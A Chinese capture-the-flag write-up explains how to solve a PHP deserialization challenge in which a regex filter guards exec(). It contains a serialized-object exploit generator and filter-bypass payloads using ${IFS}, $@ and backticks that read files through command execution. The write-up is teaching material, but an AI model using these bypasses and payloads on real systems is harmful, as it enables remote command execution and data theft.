nnnd,这道题谁标的难度1!参考文章:江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)_江苏工匠杯unseping-CSDN博客
这是这道题的源码,一看exec和unserialize就是反序列化和命令执行,还有个正则应该还要绕过
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
简单讲一下call_user_func_array调用回调函数,大概就是这样,网上找的例子,本题中我猜测因为是在魔术方法里面,所以第一个参数array()里面类用伪变量$this替代了
(1)普通使用:
function a($b, $c) {
echo $b;
echo $c;
}
call_user_func_array('a', array("111", "222"));
//输出 111 222
(2)调用类内部的方法:
Class ClassA {
function bc($b, $c) {
$bc = $b + $c;
echo $bc;
}
}
call_user_func_array(array('ClassA','bc'), array("111", "222"));
//输出 333
这个正则表达式解释如下
/
: 正则表达式的开始和结束的分隔符。(
: 开始一个捕获组,用于将匹配的结果保存在结果数组中。\|
: 匹配一个垂直线字符"|"|
: 逻辑或操作符,用于匹配多个模式之一。&
: 匹配一个和字符"&";
: 匹配一个分号字符";"- : 匹配一个空格字符
\/
: 匹配一个斜杠字符"/"cat
: 匹配字符串"cat"flag
: 匹配字符串"flag"tac
: 匹配字符串"tac"php
: 匹配字符串"php"ls
: 匹配字符串"ls")
: 结束捕获组。/
: 正则表达式的结束符。
综上所述,该正则表达式将匹配字符串中的垂直线字符"|"、和字符"&"、分号字符";"、空格字符、斜杠字符"/",以及字符串"cat"、"flag"、"tac"、"php"、"ls"。
空格被过滤了,但是我们写命令的时候还需要空格,怎么办?
我只知道一个IFS空格,使用的时候写成${IFS}起到空格的作用。
上网查@是一个特殊变量,使用$@的形式起到空变量的作用,放在字符串中间绕过字符串过滤又不会对原字符串产生影响
魔术方法:
__construct() //创建对象时触发
__wakeup() //执行unserialize()时,先会调用这个函数
okk,到这里差不多读懂代码了,代码流程:将我们的base64编码并且序列化的数据经过post请求发送到PHP文件处理,代码首先接受数据然后base64解码反序列化,又因为wakeup这个魔术方法在反序列化前会被优先调用,所以执行wakeup方法:遍历关联数组args,将每个键对应的值用waf方法进行正则匹配,如果匹配通过后返回原字符串,否则打印hack,由此可以看出args存放的是系统命令这些。然后执行反序列化,对象被重新创建后无调用又被销毁,触发destruct魔术方法:in_array函数内容确定了method值为ping,然后call_user_func_array调用回调函数调用ping函数,将args数组内容作为ping函数的参数,然后exec执行系统命令,结果存到result,var_dump打印类型和值
上面的流程已经说的很详细了,我们先来试试水看看能不能执行命令
别忘了args是数组形式哦!
<?php
class ease
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$object = new ease('ping',array('id'));
$ser = serialize($object);
$ser = base64_encode($ser);
echo $ser;
?>
成功执行id命令
接下来看看当前目录下的文件,args传入参数变为array('l$@s'),正则匹配会匹配整个l$@s,但是$@是空变量,最后解析出来还是ls
flag文件是数组的第一个元素
find 查看当前及子目录下的所有文件,我们可以使用cat 直接查看当前目录下的文件内容,不需要再编码来回转了
payload:
array('c$@at${IFS}`find`'),使用反引号是因为会优先执行反引号里面的命令
成功读出flag!不懂多看一下我写的流程思路就明白了